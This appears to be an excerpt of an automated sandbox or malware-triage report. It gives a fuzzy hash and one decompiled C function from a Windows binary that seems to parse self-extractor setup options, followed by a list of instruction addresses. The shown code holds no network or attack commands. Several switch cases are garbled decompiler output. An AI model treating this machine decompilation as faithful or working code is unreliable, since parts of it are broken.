Instruction Fuzzy Hash: 5981F2B1A002099ADB34DF64CC85BEA77A4EF10354F10417FE791B72D1DBB88A85CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0C2 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040F0C2(void* __edi) {
				void* __ebx;
				intOrPtr _t263;
				void* _t264;
				intOrPtr* _t335;
				void* _t337;
				void* _t339;

				L0:
				while(1) {
					L0:
					if( *((intOrPtr*)(_t339 + 0x10)) != 6) {
						goto L160;
					} else {
						__eax = 0;
						 *(__ebp - 0x2440) = __ax;
						__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
						__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
						_push(__ebx);
						__eflags = __eax - 0x50;
						if(__eax == 0x50) {
							_push(0x43f822);
							__eax = __ebp - 0x2440;
							_push(__ebp - 0x2440);
							__eax = E00410B9C();
							 *(__ebp - 0x18) = 2;
						} else {
							__eflags = __eax - 0x54;
							__eax = __ebp - 0x2440;
							if(__eflags == 0) {
								_push(0x43e822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 7;
							} else {
								_push(0x440822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 0x10;
							}
						}
						__eax = 0;
						 *(__ebp - 0xbc90) = __ax;
						 *(__ebp - 0x4c40) = __ax;
						__ebp - 0x19c90 = __ebp - 0x6c88;
						__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
						__eflags =  *(__ebp - 0x6c88) - 0x22;
						_pop(__ecx);
						_pop(__ecx);
						if( *(__ebp - 0x6c88) != 0x22) {
							__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
							__eflags = __al;
							if(__al != 0) {
								goto L145;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
							__eflags =  *(__ebp - 0x6c88);
							__edi = __ebp - 0x6c88;
							if( *(__ebp - 0x6c88) == 0) {
								goto L145;
							} else {
								goto L133;
							}
							do {
								L133:
								__eax = __edi->i & 0x0000ffff;
								__eflags = __ax - 0x20;
								if(__ax == 0x20) {
									L135:
									__esi = __ax & 0x0000ffff;
									__eax = 0;
									__edi->i = __ax;
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al == 0) {
										__edi->i = __si;
										goto L142;
									}
									 *(__ebp - 0x10) = __edi;
									__eflags = __si - 0x2f;
									if(__si != 0x2f) {
										do {
											__edi =  &(__edi->i);
											__edi =  &(__edi->i);
											__eflags = __edi->i - 0x20;
										} while (__edi->i == 0x20);
										_push(__edi);
										__eax = __ebp - 0x4c40;
										L140:
										E0041A7F7() =  *(__ebp - 0x10);
										__ecx = __eax;
										_pop(__ecx);
										 *( *(__ebp - 0x10)) = __si;
										goto L142;
									}
									__eax = 0x2f;
									 *(__ebp - 0x4c40) = __ax;
									__eax =  &(__edi->i);
									_push( &(__edi->i));
									__eax = __ebp - 0x4c3e;
									goto L140;
								}
								__eflags = __ax - 0x2f;
								if(__ax != 0x2f) {
									goto L142;
								}
								goto L135;
								L142:
								__edi =  &(__edi->i);
								__edi =  &(__edi->i);
								__eflags = __edi->i;
							} while (__edi->i != 0);
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) != 0) {
								__ecx =  *(__ebp - 0x10);
								__eax = 0;
								__eflags = 0;
								 *( *(__ebp - 0x10)) = __ax;
							}
							goto L145;
						} else {
							__ebp - 0x19c8e = __ebp - 0x6c88;
							E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
							__eax = E0041CA29(__ebp - 0x6c86, 0x22);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = 0;
								 *__eax = __cx;
								__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
								_pop(__ecx);
								_pop(__ecx);
							}
							L145:
							__esi = 0;
							__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
							if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
								__ebp - 0xbc90 = __ebp - 0x11c90;
								__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
							}
							__ebp - 0xcc90 = __ebp - 0x6c88;
							__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
							__eflags =  *(__ebp - 0x2440) - __si;
							if(__eflags == 0) {
								__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
							}
							__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
							if(__eflags != 0) {
								__ebp - 0x17c90 = __ebp - 0x2440;
								E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
								__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							}
							__ebp - 0x2440 = __ebp - 0xac90;
							__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
							_pop(__ecx);
							_pop(__ecx);
							__eax = __ebp - 0x13c90;
							__eflags =  *(__ebp - 0x13c90) - __si;
							if(__eflags == 0) {
								__eax = __ebp - 0x19c90;
							}
							__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
							__eax = __ebp - 0x2440;
							__eflags = E0040A76A(__ebp - 0x2440) - __esi;
							if(__eflags == 0) {
								L155:
								__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, 0x42a92c, __ebx);
								goto L156;
							} else {
								__eflags = __eax;
								if(__eflags == 0) {
									L156:
									__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
									__ebp - 0xcc90 = __ebp - 0x9c90;
									__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
									_pop(__ecx);
									_pop(__ecx);
									__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
									 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
									asm("sbb eax, eax");
									__ecx = __ebp - 0x4c40;
									__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
									 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
									asm("sbb ecx, ecx");
									__edx = __ebp - 0xbc90;
									__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
									 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
									asm("sbb edx, edx");
									__esi = __ebp - 0x15c90;
									__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
									 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
									asm("sbb esi, esi");
									__edi = __ebp - 0x9c90;
									__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
									__ebp - 0x2440 = __ebp - 0xcc90;
									__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
									__eflags =  *(__ebp - 0xac90);
									if( *(__ebp - 0xac90) != 0) {
										__eax = __ebp - 0xac90;
										__eax =  *0x42a280(0x1000, 5, __ebp - 0xac90, 0);
									}
									while(1) {
										L160:
										_t263 = E0040D781(_t339 - 0x11, _t339 - 0xec90, _t337,  *((intOrPtr*)(_t339 + 0xc)), _t339 - 0x4440, _t339 + 0xf, 0x1000);
										 *((intOrPtr*)(_t339 + 0xc)) = _t263;
										if(_t263 != 0) {
											_t335 =  *0x42a204;
											_t322 = _t339 - 0x1bc90;
											_t337 = 0x438818;
											_t264 = _t339 - 0x4440;
											 *(_t339 - 0x10) = _t339 - 0x1bc90;
											 *((intOrPtr*)(_t339 - 0x18)) = 6;
											goto L2;
										} else {
											break;
										}
										L4:
										while(E00411E60(_t339 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t339 - 0x10) * 4))) != 0) {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) + 1;
											if( *(_t339 - 0x10) < 0xe) {
												continue;
											} else {
												goto L160;
											}
										}
										__eflags =  *(_t339 - 0x10) - 0xd;
										if( *(_t339 - 0x10) > 0xd) {
											continue;
										}
										switch( *((intOrPtr*)( *(_t339 - 0x10) * 4 +  &M0040F443))) {
											case 0:
												__eflags =  *((intOrPtr*)(_t339 + 0x10)) - 2;
												if( *((intOrPtr*)(_t339 + 0x10)) != 2) {
													goto L160;
												}
												E00419C9B(_t339 - 0x8c90, _t319);
												E0040A146(_t339 - 0x8c90, _t339 - 0x4440, _t339 - 0xfc90, _t319);
												E00409433(_t339 - 0x7c90);
												 *(_t339 - 4) =  *(_t339 - 4) & 0x00000000;
												E0040945C(_t339 - 0x7c90, _t339 - 0xfc90);
												E004067E1(_t339 - 0x5c88);
												_push(0);
												_t280 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
												__eflags = _t280;
												if(_t280 == 0) {
													L25:
													 *(_t339 - 4) =  *(_t339 - 4) | 0xffffffff;
													E00409449(_t339 - 0x7c90);
													goto L160;
												} else {
													_t337 = 0x42a9d0;
													do {
														_push(0);
														_push(_t339 - 0x5c88);
														 *0x42a148();
														__eflags =  *((char*)(_t339 - 0x4c7c));
														if(__eflags == 0) {
															L17:
															_push(_t339 - 0x5c88);
															_t285 =  *_t335();
															__eflags = _t285 - 0xffffffff;
															if(_t285 == 0xffffffff) {
																goto L24;
															}
															_push(_t339 - 0x5c88);
															_t289 =  *0x42a244();
															__eflags = _t289;
															if(_t289 != 0) {
																goto L24;
															} else {
																 *(_t339 - 0x10) =  *(_t339 - 0x10) & _t289;
																_push(_t289);
																goto L21;
																L21:
																E0040BC16(_t339 - 0x1040, _t319, _t337, _t339 - 0x5c88);
																_t341 = _t341 + 0x14;
																_push(_t339 - 0x1040);
																_t294 =  *_t335();
																__eflags = _t294 - 0xffffffff;
																if(_t294 != 0xffffffff) {
																	_t61 = _t339 - 0x10;
																	 *_t61 =  *(_t339 - 0x10) + 1;
																	__eflags =  *_t61;
																	_push( *(_t339 - 0x10));
																	goto L21;
																} else {
																	_push(_t339 - 0x1040);
																	_push(_t339 - 0x5c88);
																	_t297 =  *0x42a230();
																	__eflags = _t297;
																	if(_t297 != 0) {
																		_push(4);
																		_push(0);
																		_push(_t339 - 0x1040);
																		 *0x42a0cc();
																	}
																	goto L24;
																}
															}
														}
														E0040AA7D(__eflags, _t339 - 0x8c90, _t339 - 0x1040, _t319);
														E0040A116(__eflags, _t339 - 0x1040, _t319);
														_t306 = E0041A7AF(_t339 - 0x8c90);
														 *((intOrPtr*)(_t339 - 0x18)) = _t306;
														__eflags = _t306 - 4;
														if(_t306 < 4) {
															L15:
															_t308 = E0040A0A4(_t339 - 0x4440);
															__eflags = _t308;
															if(_t308 != 0) {
																goto L25;
															}
															L16:
															_t310 = E0041A7AF(_t339 - 0x5c88);
															__eflags = 0;
															 *((short*)(_t339 + _t310 * 2 - 0x5c86)) = 0;
															E0041A820(_t335, _t339 - 0x40, 0, 0x1e);
															_t341 = _t341 + 0x10;
															_push(0x14);
															_pop(_t313);
															 *((short*)(_t339 - 0x30)) = _t313;
															 *((intOrPtr*)(_t339 - 0x38)) = _t339 - 0x5c88;
															_push(_t339 - 0x40);
															 *((intOrPtr*)(_t339 - 0x3c)) = 3;
															 *0x42a29c();
															goto L17;
														}
														_t318 = E0041A7AF(_t339 - 0x1040);
														__eflags =  *((intOrPtr*)(_t339 - 0x18)) - _t318;
														if( *((intOrPtr*)(_t339 - 0x18)) > _t318) {
															goto L16;
														}
														goto L15;
														L24:
														_push(0);
														_t287 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
														__eflags = _t287;
													} while (_t287 != 0);
													goto L25;
												}
											case 1:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eflags =  *((char*)(__ebp - 0x11));
													if(__eflags == 0) {
														__edi = __ebp + 0xc;
														__edi = E0040D92D(__ebp + 0xc, __eflags);
													} else {
														__edi = __ebp - 0x4440;
													}
													__eflags =  *((char*)(__ebp - 0x12));
													if( *((char*)(__ebp - 0x12)) == 0) {
														__esi = E0041A7AF( *0x441850);
													} else {
														__esi = 0;
													}
													__eax = E0041A7AF(__edi);
													__eax = __eax + __esi;
													_push(__eax);
													_push( *0x441850);
													__eax = E0041A594(__ebx, __edi, __esi, __eflags);
													__esp = __esp + 0xc;
													__eflags =  *((char*)(__ebp - 0x12));
													 *0x441850 = __eax;
													if( *((char*)(__ebp - 0x12)) != 0) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
													__eax = E0041A7C9(__eax, __edi);
													__eflags =  *((char*)(__ebp - 0x11));
													_pop(__ecx);
													_pop(__ecx);
													if(__eflags == 0) {
														_push(__edi);
														__eax = E0041A506(__ebx, __edi, __esi, __eflags);
														_pop(__ecx);
													}
												}
												goto L160;
											case 2:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eax = __ebp - 0x4440;
													_push(__ebp - 0x4440);
													_push( *((intOrPtr*)(__ebp + 8)));
													__eax =  *0x42a364();
												}
												goto L160;
											case 3:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) != 0) {
													goto L160;
												}
												__eflags =  *0x44187a;
												if( *0x44187a != 0) {
													goto L160;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x4440) - 0x22;
												__edi = __ebp - 0x4440;
												 *(__ebp - 0x18) = __edi;
												 *(__ebp - 0x1040) = __ax;
												if( *(__ebp - 0x4440) == 0x22) {
													__edi = __ebp - 0x443e;
													 *(__ebp - 0x18) = __edi;
												}
												__eax = E0041A7AF(__edi);
												__eflags = __eax - __ebx;
												if(__eax >= __ebx) {
													goto L160;
												} else {
													__eax = __edi->i & 0x0000ffff;
													__eflags = __ax - 0x2e;
													if(__ax != 0x2e) {
														L50:
														__eflags = __ax - 0x5c;
														if(__ax == 0x5c) {
															L62:
															_push(__edi);
															L63:
															__eax = __ebp - 0x1040;
															_push(__ebp - 0x1040);
															__eax = E0041A7F7();
															L64:
															_pop(__ecx);
															_pop(__ecx);
															L65:
															__eax = __ebp - 0x1040;
															__eax = E0041CA4F(__ebp - 0x1040, 0x22);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags =  *((short*)(__eax + 2));
																if( *((short*)(__eax + 2)) == 0) {
																	__ecx = 0;
																	__eflags = 0;
																	 *__eax = __cx;
																}
															}
															__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
															_push(0x66);
															_push( *((intOrPtr*)(__ebp + 8)));
															__edi =  *0x42a2b4();
															__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
															__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
															__eax = __ebp - 0x1040;
															__eax = E0041AA21(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x1040;
																_push(__ebp - 0x1040);
																_push(0);
																_push(0x143);
																_push(__edi);
																__eax =  *0x42a33c();
															}
															goto L160;
														}
														__eflags = __ax;
														if(__ax == 0) {
															L53:
															__eax = __ebp - 0x1c;
															_push(__ebp - 0x1c);
															_push(1);
															_push(0);
															_push(0x42a970);
															_push(0x80000002);
															__eax =  *0x42a000();
															__eflags = __eax;
															if(__eax == 0) {
																__eax = __ebp - 0x10;
																_push(__ebp - 0x10);
																__eax = __ebp - 0x1040;
																_push(__ebp - 0x1040);
																__eax = __ebp - 0x20;
																_push(__ebp - 0x20);
																_push(0);
																_push(0x42a950);
																_push( *(__ebp - 0x1c));
																 *(__ebp - 0x10) = 0x1000;
																__eax =  *0x42a004();
																_push( *(__ebp - 0x1c));
																__eax =  *0x42a010();
																 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
																__eax = 0x7ff;
																__eflags =  *(__ebp - 0x10) - 0x7ff;
																if( *(__ebp - 0x10) < 0x7ff) {
																	__eax =  *(__ebp - 0x10);
																}
																__ecx = 0;
																__eflags = 0;
																 *((short*)(__ebp + __eax * 2 - 0x1040)) = __cx;
															}
															__eflags =  *(__ebp - 0x1040);
															if( *(__ebp - 0x1040) != 0) {
																__eax = __ebp - 0x1040;
																__eax = E0041A7AF(__ebp - 0x1040);
																__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
																if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
																	__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, 0x42a690);
																	_pop(__ecx);
																	_pop(__ecx);
																}
															}
															__edi = E0041A7AF(__edi);
															__eax = __ebp - 0x1040;
															__edi = __edi + E0041A7AF(__ebp - 0x1040);
															__eflags = __edi - 0x7ff;
															if(__edi >= 0x7ff) {
																goto L65;
															} else {
																__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
																goto L64;
															}
														}
														__eflags = __edi->i - 0x3a;
														if(__edi->i == 0x3a) {
															goto L62;
														}
														goto L53;
													}
													__eflags = __edi->i - 0x5c;
													if(__edi->i != 0x5c) {
														goto L50;
													}
													_t97 = __edi + 4; // 0x26
													__eax = _t97;
													__eflags =  *__eax;
													if( *__eax == 0) {
														goto L160;
													} else {
														_push(__eax);
														goto L63;
													}
												}
											case 4:
												__eflags =  *0x441874 - 1;
												__eflags = __eax - 0x441874;
												__edi->i = __edi->i + __ecx;
												__eflags = __edi->i & __dh;
												_push(es);
												 *__eax =  *__eax + __al;
												__eflags =  *__eax;
											case 5:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eflags = __eax;
												if(__eax == 0) {
													L82:
													 *0x441831 = 0;
													 *0x441830 = 1;
													goto L160;
												}
												__eax = __eax - 0x30;
												__eflags = __eax;
												if(__eax == 0) {
													 *0x441831 = 0;
													L81:
													 *0x441830 = 0;
													goto L160;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													goto L82;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax != 0) {
													goto L160;
												}
												 *0x441831 = 1;
												goto L81;
											case 6:
												__eflags =  *(__ebp + 0x10) - 4;
												if( *(__ebp + 0x10) != 4) {
													goto L92;
												}
												__eax = __ebp - 0x4440;
												__eax = E0041AA21(__ebp - 0x4440, 0x42a948);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L92;
												}
												_push(0);
												goto L91;
											case 7:
												__eflags =  *(__ebp + 0x10) - 1;
												if(__eflags != 0) {
													L112:
													__eflags =  *(__ebp + 0x10) - 7;
													if( *(__ebp + 0x10) == 7) {
														__eflags =  *0x441874;
														if( *0x441874 == 0) {
															 *0x441874 = 2;
														}
														 *0x441870 = 1;
													}
													goto L160;
												}
												__eax = __ebp - 0x8c90;
												_push(__ebp - 0x8c90);
												_push(__ebx);
												 *0x42a0c8() = __ebp - 0x8c90;
												__eax = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
												_push(0);
												__esi = 0x42a938;
												while(1) {
													_push( *0x4300c8);
													__ebp - 0x8c90 = __ebp - 0x1040;
													E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
													_push(__ebp - 0x1040);
													__eax = __edi->i();
													__eflags = __eax - 0xffffffff;
													if(__eax == 0xffffffff) {
														break;
													}
													_t146 = __ebp - 0x10;
													 *_t146 =  *(__ebp - 0x10) + 1;
													__eflags =  *_t146;
													_push( *(__ebp - 0x10));
												}
												__eax = __ebp - 0x1040;
												_push(__ebp - 0x1040);
												_push(0x66);
												_push( *((intOrPtr*)(__ebp + 8)));
												__eax =  *0x42a334();
												__eflags =  *(__ebp - 0x4440);
												if( *(__ebp - 0x4440) == 0) {
													goto L160;
												}
												__eflags =  *0x44184a;
												if( *0x44184a != 0) {
													goto L160;
												}
												__eax = 0;
												 *(__ebp - 0x1440) = __ax;
												__eax = __ebp - 0x4440;
												__eax = E0041CA29(__ebp - 0x4440, 0x2c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													L108:
													__eflags =  *(__ebp - 0x1440);
													if( *(__ebp - 0x1440) == 0) {
														__ebp - 0x1bc90 = __ebp - 0x4440;
														E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
														__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
													}
													__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
													__eax = 0;
													 *(__ebp - 0x3440) = __ax;
													_push(0x24);
													__eax = __ebp - 0x1440;
													_push(__ebp - 0x1440);
													__eax = __ebp - 0x4440;
													_push(__ebp - 0x4440);
													_push( *((intOrPtr*)(__ebp + 8)));
													__eax =  *0x42a30c();
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L160;
													} else {
														_push(1);
														_push( *((intOrPtr*)(__ebp + 8)));
														 *0x441849 = 1;
														 *0x44183c = 1;
														__eax =  *0x42a32c();
														goto L112;
													}
												}
												__ecx = 0;
												__eflags =  *(__ebp - 0x4440) - __cx;
												if( *(__ebp - 0x4440) == __cx) {
													goto L108;
												}
												__eax = __ebp - 0x4440;
												while(1) {
													__eflags =  *__eax - 0x40;
													if( *__eax == 0x40) {
														break;
													}
													__ecx = __ecx + 1;
													__eax = __ebp + __ecx * 2 - 0x4440;
													__eflags =  *__eax;
													if( *__eax != 0) {
														continue;
													}
													goto L108;
												}
												__esi = __ecx + __ecx;
												__ebp + __esi - 0x443e = __ebp - 0x1440;
												__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
												_pop(__ecx);
												__eax = 0;
												__eflags = 0;
												_pop(__ecx);
												 *(__ebp + __esi - 0x4440) = __ax;
												goto L108;
											case 8:
												__eflags =  *(__ebp + 0x10) - 3;
												if( *(__ebp + 0x10) == 3) {
													__eflags =  *(__ebp - 0x4440);
													if(__eflags != 0) {
														__eax = __ebp - 0x4440;
														_push(__ebp - 0x4440);
														_push( *((intOrPtr*)(__ebp + 8)));
														__eax =  *0x42a364();
													}
													__edi = __ebp + 0xc;
													 *0x441854 = E0040D92D(__edi, __eflags);
												}
												 *0x44184b = 1;
												goto L160;
											case 9:
												__eflags =  *(__ebp + 0x10) - 5;
												if( *(__ebp + 0x10) != 5) {
													L92:
													 *0x44185c = 1;
													goto L160;
												}
												_push(1);
												L91:
												_push( *((intOrPtr*)(__ebp + 8)));
												__ecx = __ebp - 0x4440;
												__eax = E0040E46C(__ecx);
												goto L92;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp + 0x10) - 7;
												if( *(__ebp + 0x10) == 7) {
													 *0x441878 = 1;
												}
												goto L160;
											case 0xc:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
												__eflags = __eax - 0x46;
												if(__eax == 0x46) {
													 *0x441823 = 1;
												} else {
													__eflags = __eax - 0x55;
													if(__eax == 0x55) {
														 *0x441822 = 1;
													} else {
														 *0x441823 = 0;
														 *0x441822 = 0;
													}
												}
												goto L160;
											case 0xd:
												 *0x44185d = 1;
												__eax = __eax + 0x44185d;
												__ecx = __ecx + __ebp;
												 *0x7d830000 =  *0x7d830000 ^ __eax;
												__eflags =  *0x7d830000;
												goto L160;
										}
										L2:
										_t264 = E0040DCB8(_t322, _t264,  *(_t339 - 0x10));
										 *(_t339 - 0x10) =  *(_t339 - 0x10) + 0x2000;
										_t9 = _t339 - 0x18;
										 *_t9 =  *((intOrPtr*)(_t339 - 0x18)) - 1;
										if( *_t9 != 0) {
											goto L2;
										} else {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) & 0x00000000;
											goto L4;
										}
									}
									 *[fs:0x0] =  *((intOrPtr*)(_t339 - 0xc));
									return _t263;
								}
								goto L155;
							}
						}
					}
				}
			}

0x00000000
0x0040f0c2
0x0040f0c2
0x0040f0c6
0x00000000
0x0040f0cc
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x0040f405
0x0040f405
0x0040f421
0x0040f426
0x0040f42b
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90b
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e99e
0x0040e9a6
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea62
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea70
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa5
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eab3
0x0040eaba
0x0040eabb
0x0040eac1
0x0040eac3
0x0040eac5
0x0040eac7
0x0040eacf
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4e
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
